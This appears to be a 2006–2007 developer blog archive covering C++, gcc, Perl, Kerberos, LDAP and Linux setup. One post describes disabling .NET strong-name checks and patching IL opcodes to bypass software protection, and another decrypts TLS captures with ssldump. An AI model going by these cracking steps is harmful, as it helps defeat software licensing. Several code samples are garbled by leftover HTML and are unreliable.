The first case is initialization upon construction via declaration. The 2nd case however shows that initialization only happens at construction. One can declare a reference type class member without initializing it until class object construction time.

There is a subtle implication here related to STL container types. The STL containers usually require that an object can be default constructed, copy constructed and copy assigned. When one declare a class with reference type class members, it becomes a problem how to properly initialize the reference type class members at construction time. Remember that a default constructor takes no argument, therefore one cannot initialize the class member through a constructor argument such as shown in the example above (by definition it's no longer a default constructor). One must declare a default constructor in addition to other ones that constructs with arguments. One technique is to use a global variable as a referent for reference type class members such as:
int global;
class A{
int x;
public:
A (): x(global){}
};

But this kind of coding practice is beyond style issue, what's the point of having class members that refer to a global variable that's visible to the entire code scope anyway? Since they will all refer to the same referent global object, it's also less efficient to declare a reference per object. Sadly there does not seem to be any way out of this C++ standard. Here the fix is not to use a reference type but a pointer because pointers are not required to be initialized upon construction. As one can see, the key difference between reference and pointer is 'reference is initialization upon construction', this makes reference much safer to dereference than pointers but at the same time limits its usefulness.

There is one important property of reference type. That is, reference type cannot be reseated! Once a reference type is initialized upon construction, it's bound to the referent. One cannot change the referent it's bound to through out the reference type lifetime. Often people get confused that one can assign new variables or references to a reference after its initialization, consider the following examples,

int x;
int & rx = x;
x = 3;
int y = 4;
rx = y;
int & ry = y;
rx = ry;

One may think that rx is changed to refer to different object looking at the code. But it's wrong. rx is referring to x exclusively. The value of x is changed every time rx is used as an assisgnee. Remember that reference type cannot be reseated, it's simply an alias of its referent upon its initialization. The above example is equivalent with:
int x;
int & rx = x;
x = 3;
int y = 4;
x = y;
int & ry = y;
x = ry;

Simply replace every occurrence of rx with x, and you see what's going on. As an exercise, see if you can figure out the output of the following code correctly, if you did, then reference type reseating issue is no longer a myth to you:
#include
using namespace std;

int main(){

int x = 1;
int & rx = x;
rx = 2;
cout << "x = " << y =" 3;" class="blsp-spelling-error" id="SPELLING_ERROR_28">rx = y;
cout << "x = " << class="blsp-spelling-error" id="SPELLING_ERROR_30">rx = 4;
cout << "y = " << class="blsp-spelling-error" id="SPELLING_ERROR_32">ry = y;
rx = ry;
ry = 4;
cout << "x = " << class="blsp-spelling-error" id="SPELLING_ERROR_37">cout << "y = " << y << '\n';

}

openmp with gcc on fedora core 5

2007-04-04T10:56:00.000-05:00

There are many code examples using openmp, but it is less obvious exactly how you can actually compile and experiment with openmp. On fedora core 5, gcc 4.1 already has openmp support through compiler modification and openmp library. Make sure you have libgomp installed. Using an openmp example from http://www.kallipolis.com/openmp/1.html, you can compile the source code with the following command line:
g++ -fopenmp -fstrict-aliasing -fomit-frame-pointer -Wall -pedantic -ansi -g -O2 openmp_taylor.cpp -o openmp_taylor -lgomp

The important things to note here are -fopenmp (tells gcc to enable openmpp support by parsing openmpp #pragma directives) and -lgomp (the openmp library APIs).

Inline assembly with gcc on linux

2007-02-23T14:43:00.001-05:00

Sometimes, it's useful to test/debug at assembly level. On linux gcc provides inline assembly to directly embed assembly code into your source code. I was chasing a wierd bug in a multi thread application, the program crashed with SIGSEGV with the following information:

(gdb) bt
#0 0x00d5f3dc in pthread_join () from /lib/libpthread.so.0
#1 0x0804b51b in main (argc=140055452, argv=0x3e8) at main.cpp:214
(gdb) x/20i 0x00d5f3c0
0xd5f3c0 : push %ebp
0xd5f3c1 : mov %esp,%ebp
0xd5f3c3 : push %edi
0xd5f3c4 : push %esi
0xd5f3c5 : push %ebx
0xd5f3c6 : sub $0x28,%esp
0xd5f3c9 : call 0xd5d4fa <__i686.get_pc_thunk.bx>
0xd5f3ce : add $0xac26,%ebx
0xd5f3d4 : mov $0x3,%edi
0xd5f3d9 : mov 0x8(%ebp),%eax
0xd5f3dc : mov 0x48(%eax),%ecx <------------- SIGSEGV
0xd5f3df : test %ecx,%ecx
0xd5f3e1 : js 0xd5f4aa
0xd5f3e7 : mov $0x16,%di
0xd5f3eb : cmp 0x200(%eax),%eax
0xd5f3f1 : je 0xd5f4aa
0xd5f3f7 : mov %gs:0x8,%edi
0xd5f3fe : add $0x200,%eax
0xd5f403 : mov %eax,0x8(%esp)
0xd5f407 : lea 0xffff53b8(%ebx),%eax

The prototype of pthread_join is this: int pthread_join(pthread_t thread, void **value_ptr); Now I couldn't remember how the parameters were passed into a subroutine on the stack, exactly what's in 0x08(%ebp)? Is it thread or value_ptr. Inline assembly to the rescue:

#include < stdio.h>

int foo(int x, int y){
unsigned long int ebp;
asm("movl %%ebp, %[ebp]" : [ebp] "=m" (ebp));
printf("$ebp=%x $x=%x $y=%x\n", ebp, &x, &y);
return x+y;
}
int main(){
int x = 3, y = 4;
foo(x, y);
}

$ ./addr_t
$ebp=bfb799c8 $x=bfb799d0 $y=bfb799d4

clearly, gcc on linux passes the paramter following the C argument passing convention, that is the arguments are pushed onto stack from right to left. The stack looks like this (top is higher memory address):
$y
$x
$ret_addr

And the prelog of pthread_join creates a stack like this:
$y
$x
$ret_addr
$ebp <--------- $ebp = $esp

It's clear now that 0x08(%ebp) is the address of argment 'thread', and apparently something went wrong and 'thread' contains an invalid memory address in the crashed application.

Design and implement large software system

2007-02-22T17:33:00.000-05:00

I personally found it very efficient to follow the following cycles to implement large software system:

1) research, see what features are required, any existing software/library that can speed up the development, what are the platforms to support, what tools should be used, etc

2) design and documentation, express your software system in clear text what it does, how it does it. Try to be as precise as possible.

3) unit testing of tools, 3rd party softwares, and libraries, this is often partially done in phase 1, but at this stage a through and in-depth unit testing framework should be employed.

4) I personally prefer developing software by component and writing unit test alone the way. Never underestimate the power of unit testing, even the simplest test can save you hours of headache.

5) packaging and integration. If design is sound and documentation is clear, software development is simply a matter of man-hour.

6) more testing.

Perl: a practical OO design of complex system

2007-02-22T11:52:00.000-05:00

In this entry, I'll focus on code reuse design by understanding how Exporter works in a complex perl hierarchical software system. The main process daemonizes itself, then it checks its configuration file. For each item listed in the configuration file, it creates a perl object and then daemonizes it.

Entry:
Daemonize
Read config file
For each config item:
+fork-----child process---daemonize
|
+fork-----child process---daemonize
....

Each config item daemonizes and shares some common code such as new, run (main daemon loop method), etc. In C++, this is mostly likely accomplished like this:

template
class base{
public:
base(){}
run(T t){}
};

class HTTP: base{
public:
prep_http_header(){}
};

Here we use the CRTP (curious recursive template pattern) to build the hierarchy inherit base class methods run and constructor in derived class such as a HTTP protocol handler.

With perl, things are a little different:

package network::Base;
use base qw(Exporter);
our @EXPORT_OK = qw(new run);
sub new{}
sub run{}
1;

package network::HTTP;
use network::Base qw(new run);
1;

By declaring the base class an Exporter, Base module can export symbols to classes that use it. As one may soon realize, OO is quite an interesting design in perl. The language itself is very extensible and by simply exporting/importing symbols, it achieves inheritance through the 'use base' and 'Exporter' module. In fact there is nothing special about Exporter module. All that it does is injecting symbols into packages using it. Because 'Perl automatically calls the import method when processing a use statement for a module.', by declaring a Base module inheriting from Exporter, it also inherits the import method and subsequently all modules using Base module will be able to selectively choose symbols to import from Base.

the quest of free usenet news server

2007-02-16T11:59:00.000-05:00

Wait, I thought the first rule of usenet is you don't talk about usenet. :) Anyways, usenet has been a huge source of knowledge and entertainment for me. It's been frustrating lately since my home broadband ISP decides to be smart and stopped allowing people using their news server from anywhere but home. It's time to find a free usenet news server.

http://news.aioe.org/ is the result of my quest. It's very fast, reliable and hassle-free. It's a very respectable server and I encourage you to use it and follow its user guidelines.

Introducing libsigc++

2007-02-02T14:20:00.001-05:00

libsigc++ library captures the publisher/subscriber pattern nicely in a typesafe modular way. For example,


#include < sigc++/sigc++.h>
#include < sigc++/signal.h>
#include < sigc++/signal_base.h>
#include < iostream>
#include < string>
using std::cout;
using std::endl;

class Publisher
{
public:
    Publisher(){};

    void run() { sleep(3); signal_detected.emit("Detector news"); }

    sigc::signal signal_detected;
};

void subscriber_fptr(std::string news)
{
    cout << news << ": There are aliens in the carpark!" << endl;
}

class Subscriber : public sigc::trackable
{
public:
    Subscriber() {} ;
    void subscriber(std::string news) { cout << news << ": Aliens alert, aliens alert!" << endl; }
private:
    // ...
};

int main()
{
    Publisher mydetector;
    mydetector.signal_detected.connect( sigc::ptr_fun(subscriber_fptr) );

    Subscriber sub;   // added
    sigc::connection sub_plan = mydetector.signal_detected.connect( sigc::mem_fun(sub, &Subscriber::subscriber) ); // changed

    cout << "Subscriber subscribed to alienDector news\n";
    mydetector.run();
    cout << "Subscriber stopped subscribing to alienDector news\n";
    sub_plan.disconnect();
    mydetector.run();
    return 0;
}

Notice how closely the library embraces the publisher/subscriber pattern. It'd been perfect if the functions (connect, disconnect) were renamed to (subscribe, unsubscribe)... C# offers the same pattern with the delegation model (new keywords delegate are introduced in C# to facilitate the pattern).

In order to compile/run the sample code, install libsigc++ and libsigc++-devel packages, the compile command is:
g++ -I/usr/include/sigc++-2.0/ -I/usr/lib/sigc++-2.0/include -o sigcpp_t sigcpp_t.cpp -L/usr/lib -lsigc-2.0

introducing sshfs

2007-01-17T16:35:00.000-05:00

fuse and sshfs are useful tools to mount file systems across computers that have ssh installed.
on FC5, simply do 'yum install sshfs'. Client system (exporting mounting points) needs to have
the following entries enabled in sshd_config:

-> Subsystem sftp /usr/lib/openssh/sftp-server
-> TCPKeepAlive yes

source code auditing and profiling

2007-01-11T11:54:00.000-05:00

I've recently stumbled upon this source code auditing software called splint ( http://www.splint.org/). It can be used to identify many security related issues statically at source code level. The manual is very comprehensive.

There is also a very good profiling software called oprofile (http://oprofile.sourceforge.net) with decent performance and profiling capabilities. I used to use histx on itanium2 based hardware. These softwares provide similar functions (namely sampling and reporting of hardware events)

Together with valgrind, these tools can be very valuable to identify software problems, security, performance, memory leak etc.

HOWTO: install 64 bit linux on Dell Inspiron 1501

2007-01-05T17:19:00.000-05:00

There are only 2 fine details to know as of Jan. 2007 to install 64 bit linux on this fine Laptop. 1) Append pci=nomsi to the kernel parameter list when booting from a installation CD (I used FC6-x86-64, partly because I use FC at work on my desktop. Gentoo, Ubuntu, openSUSE distributions all work with the magic kernel paramter added).
2) Follow this fine HOWTO found on ubuntu website: http://www.ubuntuforums.org/showthread.php?t=297092 to setup wireless.

Other devices are automatically taken care of after fc6 installation. Welcome to the world of 64 home computing.

So it's year 2007

2007-01-03T17:09:00.000-05:00

There are a couple things that I need to finish up with my house. It's showing its age and lots of repair work needs to be done. Try to facilitate my computer skills, I am shopping for a good home inventory software. I am also getting very comfortable with gentoo Linux, it's like slackware on steroid. It's tiny and very manageable.

I've also learnt a few new tricks with Kerberos and LDAP. Getting comy with PKI (public key exchange infrastructure), SSL, etc.

I may be expecting a baby this year. He/she shall grow up playing soccer with me. :)

setup openldap with ssl

2006-12-26T16:30:00.000-05:00

The following url has a comprehensive description of configuring openldap server to use ssl:
http://www.openldap.org/pub/ksoper/OpenLDAP_TLS.html

Essentially, one can choose between basic server side ssl (one way authentication with a single self-signed root CA) setup and advanced client side ssl (two way authentication with server side root CA, private key, root CA signed server cert, client private key, root CA signed client certificate) setup. I have successfully setup ldaps using the documention in the provided URL. It also covers a bit of openssl usage which is nice. It certainly is an accomplishment after manually setting up openldap server/client using SSL and understanding what's going on behind the scene.

One thing learnt is that when certificate is involved, it's extremely important to use the right hostname or ipaddress but not both that matches what's recorded in certificates. openssl is a good tool to diagnose this sort of issues with its s_client and s_server emulation operations.

C++ typename and class are not equivalent in template programming

2006-12-15T15:38:00.001-05:00

Contrary to the belief most C++ programmers held that class and typename can be used interchangeably or equivalent, there are few occasions that one must use typename instead of class. I think the rule of the thumb is 'use typename instead of class' in template programing, apart from the reason alone that typename by itself is more descriptive of the intention than class.

#include < iostream>

template< typename t =" Val_"> class Cont_{ // class is not allowed.
Val_ sum(Cont_& c) {
Val_ sum = 0;
for (typename Cont_::iterator i = c.begin(); i < c.end(); ++i)
sum += *i;
return sum;
}

template< typename T>
class Test {
T t[3];
public:
typedef T* iterator;

Test() { t[0] = t[1] = t[2] = 1; }
T* begin() {return t;}
T* end() {return t+3;}
};

int main() {
Test< int> test;
std::cout << sum(test);
}
#include < iostream>

template< typename t =" Val_"> class Cont_{ //HERE
Val_ sum(Cont_< val_>& c) {
Val_ sum = 0;
for (typename Cont_< val_>::iterator i = c.begin(); i < c.end(); ++i)
sum += *i;
return sum;
}

template< typename>
class Test {
T t[3];
public:
typedef T* iterator;

Test() { t[0] = t[1] = t[2] = 1; }
T* begin() {return t;}
T* end() {return t+3;}
};

int main() {
Test< int> test;
std::cout << sum(test);
}

C/C++ local and global static variables

2006-12-15T14:55:00.000-05:00

There appears to be some confusion in people's mind how static variables operate. Quote from CLC++:

The implication of this is that the compiler has to generate
a hidden static flag to prevent re-initialization, and that flag
has to be checked every time control passes the local static
definition.The implication of this is that the compiler has to generate
a hidden static flag to prevent re-initialization, and that flag
has to be checked every time control passes the local static
definition.

As will be demonstrated by the following code, local static variables are usualy implemented exactly the same as global static variables,

# more static_t.c
static int si;

void foo(int x){
static int z;
z = z + x;
si = x;
return;
}

#gcc -c static_t.c
[feiliu@maple c]$ objdump -d static_t1a.o

static_t1a.o: file format elf32-i386

Disassembly of section .text:

00000000 :
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: a1 00 00 00 00 mov 0x0,%eax <------------ RELOCATABLE RECORD
8: 03 45 08 add 0x8(%ebp),%eax
b: a3 00 00 00 00 mov %eax,0x0 <------------ RELOCATABLE RECORD
10: 8b 45 08 mov 0x8(%ebp),%eax
13: a3 04 00 00 00 mov %eax,0x4 <------------ RELOCATABLE RECORD
18: 5d pop %ebp
19: c3 ret
[feiliu@maple c]$ objdump -x static_t1a.o

static_t1a.o: file format elf32-i386
static_t1a.o
architecture: i386, flags 0x00000011:
HAS_RELOC, HAS_SYMS
start address 0x00000000

Sections:
Idx Name Size VMA LMA File off Algn
0 .text 0000001a 00000000 00000000 00000034 2**2
CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
1 .data 00000000 00000000 00000000 00000050 2**2
CONTENTS, ALLOC, LOAD, DATA
2 .bss 00000008 00000000 00000000 00000050 2**2
ALLOC
3 .comment 0000002d 00000000 00000000 00000050 2**0
CONTENTS, READONLY
4 .note.GNU-stack 00000000 00000000 00000000 0000007d 2**0
CONTENTS, READONLY
SYMBOL TABLE:
00000000 l df *ABS* 00000000 static_t1a.c
00000000 l d .text 00000000 .text
00000000 l d .data 00000000 .data
00000000 l d .bss 00000000 .bss
00000000 l O .bss 00000004 z.1281
00000004 l O .bss 00000004 si
00000000 l d .note.GNU-stack 00000000 .note.GNU-stack
00000000 l d .comment 00000000 .comment
00000000 g F .text 0000001a foo

RELOCATION RECORDS FOR [.text]:
OFFSET TYPE VALUE
00000004 R_386_32 .bss
0000000c R_386_32 .bss
00000014 R_386_32 .bss

The compiler has generated identical machine code for the both global and static variables and the relocatable records indicate that their storage segment is .bss segment. Refer to a previous article on this subject about how static variables are implemented by compilers/linkers.

C++ rules of the thumb: choose the proper function parameter prototype

2006-12-14T14:17:00.000-05:00

Quote from CLC++:

When designing a function, we can make the parameter type T, const T&,
T&, const T*, or T*. The OP asked how to decide between the five
options. I'm interested in your answer. How do you decide between them?
Can your formulate your decision process as an algorithm?When designing a function, we can make the parameter type T, const T&,
T&, const T*, or T*. The OP asked how to decide between the five
options. I'm interested in your answer. How do you decide between them?

if( there does not need to be a way to express "no value" )
{
if( parameter is just an in parameter )
{
if( the type is sufficiently small so the overhead of
copying is less than the overhead of accessing
it through a pointer)
{
pass by value
}
else
{
if( the function is C++ only)
pass by const reference
else // it needs to be callable from C
pass by const pointer
}
}
else
{ // parameter is out or inout
if( the function is C++ only )
pass by reference
else
pass by pointer
}
}
else
{ // there needs to be a way to express "no value"
if( parameter is an in parameter )
pass by const pointer
else
pass by pointer
}

C++ const reference and template generic programming

2006-12-14T11:50:00.001-05:00

Consider that you are required to write a min function (not macro), in C++ the best approach would be to use a template function to write the min function once for all:

inline template < typename>
T min(T const& a, T const& b) { return a < b? a: b; }

However there is a subtle issue here with const reference argument when it comes to character array literals. To quote Noah Roberts from CLC++:

The problem has to do with how character arrays get resolved per
reference vs. value. For example you wouldn't be able to pass two
string literals of different length to that function:

char * x = min("hello", "hell");

Nope...won't work (not according to the book anyway).

Reason, becasue it is reference semantics it attempts to pass char[6]&
as first and char[5]& as second parameters...can't happen.

The way to fix this is to override for char*, which you have to do
anyway:

template<>
char* min(char* l, char* r) { ... do strcmp stuff...}

So, there is no "problem" to speak of, just something to be aware of.

KERBROS based authentication

2006-12-12T15:36:00.000-05:00

An overview of kerberos authentication method is given by wikipedia. Following REDHAT's administrator's guide on setting up KERBEROS server/client, one can start testing kerberos authentication. A commone issue encountered I imagine is this error message in log:

Dec 12 15:09:26 maple.netilla.com krb5kdc[29641](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.1.34: CLIENT_NOT_FOUND: feiliu@NETILLA.COM for krbtgt/NETILLA.COM@NETILLA.COM, Client not found in Kerberos database
Dec 12 15:09:26 maple.netilla.com krb5kdc[29641](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.1.34: CLIENT_NOT_FOUND: feiliu@NETILLA.COM for krbtgt/NETILLA.COM@NETILLA.COM, Client not found in Kerberos database

==> /var/log/krb5kdc.log <==
Dec 12 15:15:55 maple.netilla.com krb5kdc[29641](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.1.34: ISSUE: authtime 1165954555, etypes {rep=16 tkt=16 ses=16}, feiliu@NETILLA.COM for krbtgt/NETILLA.COM@NETILLA.COM
Dec 12 15:15:55 maple.netilla.com krb5kdc[29641](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.1.34: ISSUE: authtime 1165954555, etypes {rep=16 tkt=16 ses=16}, feiliu@NETILLA.COM for krbtgt/NETILLA.COM@NETILLA.COM

'Client not found in Kerberos database' is a result of missing principle in KDC database. Again, ethereal or tcpdump are invaluable to diagnose network traffic pattern and figure out what's happening. At linux console,
# kinit feiliu/admin@NETILLA.COM
Password for feiliu/admin@NETILLA.COM:
[root@maple ~]# kadmin
Authenticating as principal feiliu/admin@NETILLA.COM with password.
Password for feiliu/admin@NETILLA.COM:
kadmin: ?
Available kadmin requests:

add_principal, addprinc, ank
Add principal
delete_principal, delprinc
Delete principal
modify_principal, modprinc
Modify principal
change_password, cpw Change password
get_principal, getprinc Get principal
list_principals, listprincs, get_principals, getprincs
List principals
add_policy, addpol Add policy
modify_policy, modpol Modify policy
delete_policy, delpol Delete policy
get_policy, getpol Get policy
list_policies, listpols, get_policies, getpols
List policies
get_privs, getprivs Get privileges
ktadd, xst Add entry(s) to a keytab
ktremove, ktrem Remove entry(s) from a keytab
lock Lock database exclusively (use with extreme caution!)
unlock Release exclusive database lock
list_requests, lr, ? List available requests.
quit, exit, q Exit program.
kadmin: getprincs
K/M@NETILLA.COM
feiliu/admin@NETILLA.COM
feiliu/firewood.netilla.com@NETILLA.COM
host/firewood.netilla.com@NETILLA.COM
kadmin/admin@NETILLA.COM
kadmin/changepw@NETILLA.COM
kadmin/history@NETILLA.COM
kadmin/maple@NETILLA.COM
krbtgt/NETILLA.COM@NETILLA.COM

which suggests that the missing principle 'feiliu/NETILLA.COM@NETILLA.COM' is indeed not in the KDC database. Create this entry:
kadmin: addprinc feiliu@NETILLA.COM
WARNING: no policy specified for feiliu@NETILLA.COM; defaulting to no policy
Enter password for principal "feiliu@NETILLA.COM":
Re-enter password for principal "feiliu@NETILLA.COM":
Principal "feiliu@NETILLA.COM" created.
kadmin.local: getprincs
K/M@NETILLA.COM
feiliu/NETILLA.COM@NETILLA.COM
feiliu/admin@NETILLA.COM
feiliu/firewood.netilla.com@NETILLA.COM
feiliu@NETILLA.COM
host/firewood.netilla.com@NETILLA.COM
kadmin/admin@NETILLA.COM
kadmin/changepw@NETILLA.COM
kadmin/history@NETILLA.COM
kadmin/maple@NETILLA.COM
krbtgt/NETILLA.COM@NETILLA.COM

Try again from kerbros client, authentication is successful with valid credentials information in the kerbros log.

Use ssldump to decrypt/view SSL/TLS encrypted network packets

2006-12-12T10:57:00.000-05:00

With widespread use of SSL/TLS encryption of network traffic, tcpdump/ethereal often are not as useful as they used to be. SSLDUMP is a tool designed to decrypt and display encrypted network traffic. First obtain the private key used during the communication, capture a packet using tcpdump or do a live session (if host computer is fast):

ssldump -k priv_key -r /scratch/sslpkt2 -i eth0 -d

Dell Inspiron 1501 ethernet driver and Fedora Core 6 issues

2006-12-04T11:27:00.000-05:00

Dell website does not have 64 bit broadcom ethernet 4401 driver for AMD Turion 64 laptop (Insipron 1501), this driver can be downloaded from broadcome website directly: http://www.broadcom.com/support/ethernet_nic/4401.php

There are similar issues (not as critical) with model and chipset drivers which I suppose have to be downloaded from OEM vendors directly.

Fedora core 6 64bit seems to have a problem with the SATA hard drive used, this needs further investigation.

configure linux samba server to interoperate with different versions of windows

2006-12-02T21:25:00.000-05:00

# Password Level allows matching of _n_ characters of the password for
# all combinations of upper and lower case.
password level = 20
username level = 20

# You may wish to use password encryption. Please read
# ENCRYPTION.txt, Win95.txt and WinNT.txt in the Samba documentation.
# Do not enable this option unless you have read those documents
encrypt passwords = yes
smb passwd file = /etc/samba/smbpasswd

# Unix users can map to different SMB User names
username map = /etc/smbusers

Be careful with openlog/syslog library calls

2006-12-01T17:48:00.000-05:00

#include

void foo(){
openlog("FOO", LOG_PID|LOG_PERROR, LOG_USER);
syslog(LOG_INFO, "logging from foo");
}

int main(void){
openlog("MAIN", LOG_PID|LOG_PERROR, LOG_AUTH);
foo();
syslog(LOG_INFO, "logging from MAIN");
}

Ever wonder why sometimes syslog secretly sends logging message to the wrong facility behind your back? It appears openlog call has a process wide effect,

#include

void openlog(const char *ident, int option, int facility);
void syslog(int priority, const char *format, ...);
void closelog(void);

Facility number can be changed at any place in the source code by a call to openlog. Any subsequent call to syslog will use the new facility number specified. In my opinion, it's a bad form of programming to use syslog directly in library code. Watch out for this bug when you use syslog.

C++ cannot bind temporary objects to non-const references (clc++)

2006-11-29T12:00:00.000-05:00

This property is one of the C++ gotchas where a temporary object when passed as a reference argument, must bind to a const reference. Its physical state cannot change within the function. There is no logical reason why it has to be this way but it's mandated by C++ spec.

#include
class Test{
public:
Test(int i ) { std::cout << "Test Constructor!" << std::endl ; }
Test( Test & test ) { std::cout << "Copy" << std::endl; }
~Test() { std::cout << "Destroy!" << std::endl ; };
};

int main( int argc , char ** argv ){
Test array[10] = { Test(1) } ;
return 0 ;

}

g++ say: no matching call to : Test::Test(Test)

In order to copy-construct from a temporary, the copy constructor should be 'Test(Test const&)'

openldap usage tips

2006-11-28T14:30:00.000-05:00

Openldap is a PGL implementation of LDAP protocol. After compilation/install. Start the learning the test scripts. To start a ldap server,

cd /root/openldap-2.3.29/tests
./run start-server (edit defines.sh and change LOCALHOST to $ip address so that remote connection works)
../clients/tools/ldapsearch -P 3 -x -LLL -S "" -b "dc=example,dc=com" -h 192.168.1.253 -p 9011 "(cn=Manager)"
../clients/tools/ldapsearch -h (display help messages)
tcpdump -n -vv port 901 (if remote connection does not work)

Perform bind before search request:
../clients/tools/ldapsearch -D "cn=administrator,cn=users,dc=argathia,dc=com" -w argathia -P 3 -x -LLL -S "" -b "dc=argathia,dc=com" -h 169.254.2.1 -p 389 "(cn=fei*)"

Perl hash keys and values are scalars, and nothing but scalars

2006-10-04T10:34:00.000-05:00

One of the confusions and pitfalls of using perl hash is incorrectly retrieve hash keys and values as arrays or hashes. This is incorrect. Perl hash keys and values are always scalars. Then how can one build complicated data structures using perl hash. The answer lies in the simple fact that references are regarded as scalars in perl. So instead of storing arrays or hashes as hash keys and values. One stores references to arrays or hashes as keys and values of a hash. An example will make the above points clearer:

# retrieve keys and values from ihash, then split each value array using key as separator.
foreach (my $key, my $values) (%ihash) {
my @result = split($key, @$values);
}

template template argument

2006-08-03T10:06:00.000-05:00

The following code snippet demonstrates a neat feature of C++, template template argument. C++ template parameter list can contain a declaration of template as shown in this example. The primary reason of using template tempalte argument is to coordinate template arguments. For example, to instantiate an object of A, one needs to write "A< int, std::allocator, std::vector > a". The composite design (has-a) of class A will be implemented through std::vector< int, std::allocator >.

#include < vector >
#include < iostream >

template < typename T, class Alloc, template < typename, typename> class C>
struct A{
C< T, Alloc > c;
A(){ c[0] = 10; }
void print(){ std::cout << "A" << std::endl; }
};

int main(){
A< int, std::allocator, std::vector > a;
a.print();
}

To further illustrate the point, one can completely remove the dependence of allocator on container type by rewriting the code like this:

#include < vector >
#include < iostream >

template < typename T, template < typename> class Alloc, template < typename, typename> class C>
struct A{
C< T, Alloc > c;
A(){ c[0] = 10; }
void print(){ std::cout << "A" << std::endl; }
};

int main(){
A< int, std::allocator, std::vector > a;
a.print();
}

In this final example, there is no room for error or confusion (one cannot write
A< int, std::allocator, std::vector> a). The intention of the code is clear and self consistent.

C/C++ sequence point by Robbie Hatley on CLC

2006-07-25T13:01:00.000-05:00

I was just googling "sequence point", trying to find more info on this,
and I ran across http://c-faq.com/ which is, lo and behold, the FAQ for
this group. That site mentions the following two sentences from the
C standard:

Between the previous and next sequence point an object shall
have its stored value modified at most once by the evaluation
of an expression. Furthermore, the prior value shall be accessed
only to determine the value to be stored.

After staring at those for a while I think I understand them.
If I'm getting the idea right, it says:

1. You aren't supposed to alter the same variable twice between
sequence points.
2. If you alter a variable between two sequence points, you're
not supposed to use the original value of that variable for
any purpose other than computing the final value to be stored
back into the variable.

For example, I think the following violates those rules:

int main()
{
int y=0;
int x=7;
y = 2*x + x++; // violates sentence 2
printf("y = %d", y); // undefined behavior

y=0;
x=7;
y = x++ + x++; // violates sentences 1 and 2
printf("y = %d", y); // undefined behavior

return 0;

}

The mythical 'bss' segment

2006-07-24T14:54:00.000-05:00

BSS stands for 'Block Started by Symbols'. This is a segment reserved for uninitialized global variables on most unix/linux platforms. Consider the following example:

#include

int init_d = 10; // .data
int noinit_d; // .bss

int main(){
printf(".data %p .bss %p\n", &init_d, &noinit_d);
}

Compile with -g -O0, run it will print the following lines:
.data 0x8049598 .bss 0x80495a0

Run 'objdump -s a.out':
Contents of section .rodata:
8048478 03000000 01000200 2e646174 61202570 .........data %p
8048488 202e6273 73202570 0a00 .bss %p..
Contents of section .data:
804958c 00000000 00000000 a4940408 0a000000 ................

080494a4 points to the format string, 0a is the value of the initialized variable.

Run 'objdump -x a.out':
Idx Name Size VMA LMA File off Algn
21 .data 00000010 0804958c 0804958c 0000058c 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .bss 00000008 0804959c 0804959c 0000059c 2**2
ALLOC
.bss segment starts from 0804959c and takes 8 bytes. The 2nd variable at 80495a0 is noinit_d in our source code.

What does 'static inline' mean?

2006-07-11T12:14:00.000-05:00

Declare a function 'static inline' means each definition of the
function is unique and multiple translation units can each have their
own definition of the function and compilation will still work. In the
final executable file, every required copy of the function object code
is included but will be assigned and loaded at different virtual
address.

char * ptr = "hello" and char carray[] = "hello"

2006-06-22T19:47:00.001-05:00

I was intrigued by this interview question where the reviewer asked if a char * ptr will take more space than a char carray[]. I found the following with gcc 2.96 on ia32:


#include < stdio.h>

static char * ptr = "hello";
int x = 0x41414141;
static char  ptr8[] = "hello888";
int y = 0x42424242;
char ptr5[] = "hello";
int z = 0x43434343;
static char  ptr8a[8] = "hello888"; // I got confused here between
ptr8 and ptr8a
int u = 0x42424242;

int main(void){

      int i;
      for(i = 0; i < 9; i ++)
              printf("%d %c\n", i, ptr8[i]);
      if((unsigned char)ptr8a[8] == 0x42)
              printf("not null terminated\n");
      if((unsigned char)ptr5[5] != 0x43)
              printf("null terminated, aligned on 8 byte boundary\n");

      printf("ptr[0] = %c\n", ptr[0]);
}

Executing this (after compiled with gcc 2.96 with -O3)
 ./ptr_t
0 h
1 e
2 l
3 l
4 o
5 8
6 8
7 8
8
not null terminated
null terminated, aligned on 8 byte boundary
ptr[0] = h

Now I did a binary dump of the ELF binary file, here is the
interesting sections:
Contents of section .rodata:
 80485e0 03000000 01000200 00000000 00000000  ................
 80485f0 00000000 00000000 00000000 00000000  ................
 8048600 68656c6c 6f002564 2025630a 006e6f74  hello.%d %c..not
 8048610 206e756c 6c207465 726d696e 61746564   null terminated
 8048620 0a000000 00000000 00000000 00000000  ................
 8048630 00000000 00000000 00000000 00000000  ................
 8048640 6e756c6c 20746572 6d696e61 7465642c  null terminated,
 8048650 20616c69 676e6564 206f6e20 38206279   aligned on 8 by
 8048660 74652062 6f756e64 6172790a 00707472  te boundary..ptr
 8048670 5b305d20 3d202563 0a00               [0] = %c..
Contents of section .data:
 804967c 00000000 00000000 cc960408 00000000  ................
 804968c 00860408 41414141 68656c6c 6f383838  ....AAAAhello888
 804969c 00000000 42424242 68656c6c 6f000000  ....BBBBhello...
 80496ac 43434343 68656c6c 6f383838 42424242  CCCChello888BBBB

RVA 804968c -> 00860408 (08048600) ->"hello"

Part 3 Patch binary file directly to bypass strongname security

2006-06-06T07:16:00.000-05:00

The following tools will make this job very easy, lordPE, winhex, Lutz's .net reflector and ildasm. The easy part first, to bypass strong name security with lordPE is as simple as changing one byte in the PE header->CLR header->strongname key check. lordPE has support to directly modify PE header, go ahead and change the key length to 0, usually from 0x80. This change completely disables strong name check on patched binary.

To reroute/patch binary code flow. Combine the strength of ildasm and .net reflector. .net reflector can generate source code level listing, making code reverse engineering so much easier; also dump a copy of target binary with ildasm with opcode turned on. This creates a dump file with each IL command's binary opcode value available. Find the target opcode sequence in winhex and patch it to whatever result you desire.

Part 2 Approaching .net protection by decompile/modify/compile

2006-06-03T14:30:00.000-05:00

There are several tools availble to decompile .net assembly. I recommend two tools, one is the microsoft tool ildasm included in .net SDK distribution. The next one is Lutz Roeder's .net reflector, best free .net decompiler available.

